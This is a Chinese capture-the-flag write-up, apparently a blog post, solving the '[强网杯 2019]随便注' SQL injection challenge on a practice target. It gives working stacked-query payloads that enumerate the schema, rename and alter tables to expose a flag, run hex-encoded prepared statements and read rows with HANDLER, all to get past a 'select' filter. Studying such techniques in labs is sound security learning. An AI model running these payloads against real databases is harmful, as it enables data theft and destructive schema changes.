[强网杯 2019]随便注

环境

[强网杯 2019]随便注 BUUCTF启动靶机,获取链接
http://2849c7a6-b1b9-417c-8c48-ada29998e57d.node4.buuoj.cn:81/?inject=1

解题思路

访问链接,看到一个输入框。
在这里插入图片描述
输入1输出

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

输入2输出

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

输入3没有回显。
加上单引号看看1',发现报错。
在这里插入图片描述
闭合单引号1'#发现正常输出,可以判定存在字符型注入。
在这里插入图片描述
接下来就是判断存在多少字段,以及回显的字段。
-1' union select 1,2,3,4#发现有过滤且过滤的还挺多的,至少select不能用了。
在这里插入图片描述
尝试内联注释符绕过/*!50001select*/,但还是依旧失败。
试试堆叠注入,1';show databases;#发现注入成功,爆出了数据库。
在这里插入图片描述
接着爆当前数据库的表,1';show tables ;#
在这里插入图片描述
爆字段1';show columns from words;#,发现存在id和data两个字段,而我们之前正常输出时也是两个字段,而且第一个字段也比较像是id值,猜想输出的是words表中的。
在这里插入图片描述
接着爆下"1919810931114514"表的字段,注意当表名是数字字符串时要用反引号包裹:1';show columns from `1919810931114514`;#,发现flag字段。
在这里插入图片描述
但是我们不能直接读出表中的值,这时候就要联想到正常输出的值了;之前我们猜想输出的是words表中的,现在我们要做的就是把"1919810931114514"表改成words表,这样就能输出flag了。
1、首先把words表改成其他名。

rename table words to a;

2、"1919810931114514"改为words。

rename table `1919810931114514` to words;

3、将flag段改成data段。

alter table words change flag data varchar(50);

4、但是还少id段,添加id段。

alter table words add id int unsigned not Null auto_increment primary key;

连在一起构成payload。

1';rename table words to a;rename table `1919810931114514` to words;alter table words change flag data varchar(50);alter table words add id int unsigned not Null auto_increment primary key;

在这里插入图片描述
在重新访问刷新,证明我们的猜想没有错,输出的就是words表中的值。
在这里插入图片描述

其他姿势1

通过查看其他大佬的wp,发现还有其他的payload。

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

通过预编译来绕过select过滤,学到了学到了。
1、prepare…from…是预处理语句,会进行编码转换。
2、execute用来执行由SQLPrepare创建的SQL语句。
3、SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

其他姿势2

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

菜鸟表示没听过handler,这是啥玩意?得学啊
官方介绍https://dev.mysql.com/doc/refman/8.0/en/handler.html
handler是指一行一行的读取表中数据可以看出是弱化版的select。
这个payloa的意思就是打开1919810931114514表将a做为他的句柄可以看成是别名,然后读取表中的下一行数据。
这样就可以绕过select了。

总结

要学的还有很多,努力学习吧少年;SQL语法还是有很多不知道的,通过这题学到很多。

参考

https://blog.csdn.net/qq_44657899/article/details/103239145

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值